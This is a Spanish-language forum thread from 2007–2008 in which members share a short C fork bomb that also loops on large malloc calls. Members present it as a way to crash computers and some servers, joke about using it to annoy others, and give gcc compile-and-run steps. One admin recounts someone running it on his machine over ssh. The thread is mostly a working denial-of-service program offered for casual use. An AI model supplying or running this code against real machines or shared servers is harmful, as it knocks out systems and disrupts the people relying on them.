La Ultima Esencia
Noticias:
 
*
Bienvenido(a), Visitante. Por favor, ingresa o regístrate. Agosto 30, 2008, 02:44:03


Ingresar con nombre de usuario, contraseña y duración de la sesión


Páginas: [1]
  Imprimir  
Autor Tema: Pequeño codigo para petar el ordenador y algún que otro servidor  (Leído 665 veces)
0 Usuarios y 1 Visitante están viendo este tema.
androsfenix
Staff

Desconectado Desconectado

Mensajes: 99



« : Octubre 05, 2007, 14:38:41 »

 Wenas este codigo es peligroso, lo digo por propia experiencia y unai sabe xk, está en C es compatible con Linux y Windows

Código
GeSHi (c):
#include <stdio.h>
 
int main()
{
   while(1){
       fork(); /* Bifurka y krea un nuevo proceso con el codigo que hay debajo de el*/
       *malloc(999999999);/* El * es para punteros */
       }
}
 
 
Created by GeSHI 1.0.7.20

Creo que me falta algun include por ahi pero weno, creo que la idea se comprende
« Última modificación: Diciembre 21, 2007, 00:22:11 por pianista » En línea


pianista
Administrador

Desconectado Desconectado

Mensajes: 2358


« Respuesta #1 : Octubre 05, 2007, 14:43:20 »

Si alguna vez quereis joder a alguien o quedar mal en vuestra primera clase de laboratorios, no esta mal.. Grin Grin
Podrias explicarlo un poquito para los newbies jajaj
Saludos
En línea
androsfenix
Staff

Desconectado Desconectado

Mensajes: 99



« Respuesta #2 : Octubre 05, 2007, 17:14:03 »

A ver el codigo re-explicado
Código:
/* Esto es un comentario se ponen así /**/ o así // */

#include <stdio.h>
/*#include: significa incluir una cabecera de una biblioteca osea un archivo con .h o las famosas .dll de Windows*/
/*<stdio.h> las <> indican que es estandar la biblioteca, stdio.h es la biblioteca que contiene las funciones estandar de entrada y salida de C como prinf() etc...*/


int main() /*main programa principal, si quereis saber lo que es int estudiad C xD*/
{
/*while(1), es una forma de poner un bucle infinito ...*/

    while(1){
        fork(); /* Bifurka y krea un nuevo proceso con el codigo que hay debajo de el*/
        *malloc(999999999);/* El * es para punteros */
      /*La función malloc reserva los bytes de memoria que le indikemos*/
        }
}

En línea


pianista
Administrador

Desconectado Desconectado

Mensajes: 2358


« Respuesta #3 : Octubre 05, 2007, 18:28:29 »

Si te lee Benja te mata...
El .h no es una biblioteca, es un archivo de cabecera Wink
Saludos
En línea
androsfenix
Staff

Desconectado Desconectado

Mensajes: 99



« Respuesta #4 : Octubre 06, 2007, 10:01:14 »

Mierda tienes razón xDD
En línea


pianista
Administrador

Desconectado Desconectado

Mensajes: 2358


« Respuesta #5 : Octubre 06, 2007, 11:39:56 »

Jajajja por cierto tampoco hacia falta que pusieras mil comentarios jajajajajajja
Saludos
En línea
mig
Moderador Global

Desconectado Desconectado

Mensajes: 584



WWW
« Respuesta #6 : Octubre 07, 2007, 23:25:08 »

cómo goza, ya tenía yo ganas de hacer programas revienta-pcs xDD
En línea

El problema que tenemos los informáticos es que hay demasiadas películas de ciencia ficción
pianista
Administrador

Desconectado Desconectado

Mensajes: 2358


« Respuesta #7 : Enero 24, 2008, 00:27:24 »

Por cierto,probadlo con vosotros mismos...
Lo hicieron por ssh en mi maquina, (no tenia malloc pero ya solo con el fork se peta), y de repente vereis como no se mueve ni el raton ni na Grin Grin Grin
Para probarlo, lo guardais como petaordenadores.c o como os de al gana acabado en .c, y compilais con gcc nombre.c -o nombre
Y ya podreis ejecutarlo con ./nombre
Saludos
En línea
Páginas: [1]
  Imprimir  
 
Ir a:  


Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC
Seo4Smf v0.2 © Webmaster's Talks


AFILIATE AQUI
Creative Commons License
Esta obra está bajo una licencia de Creative Commons.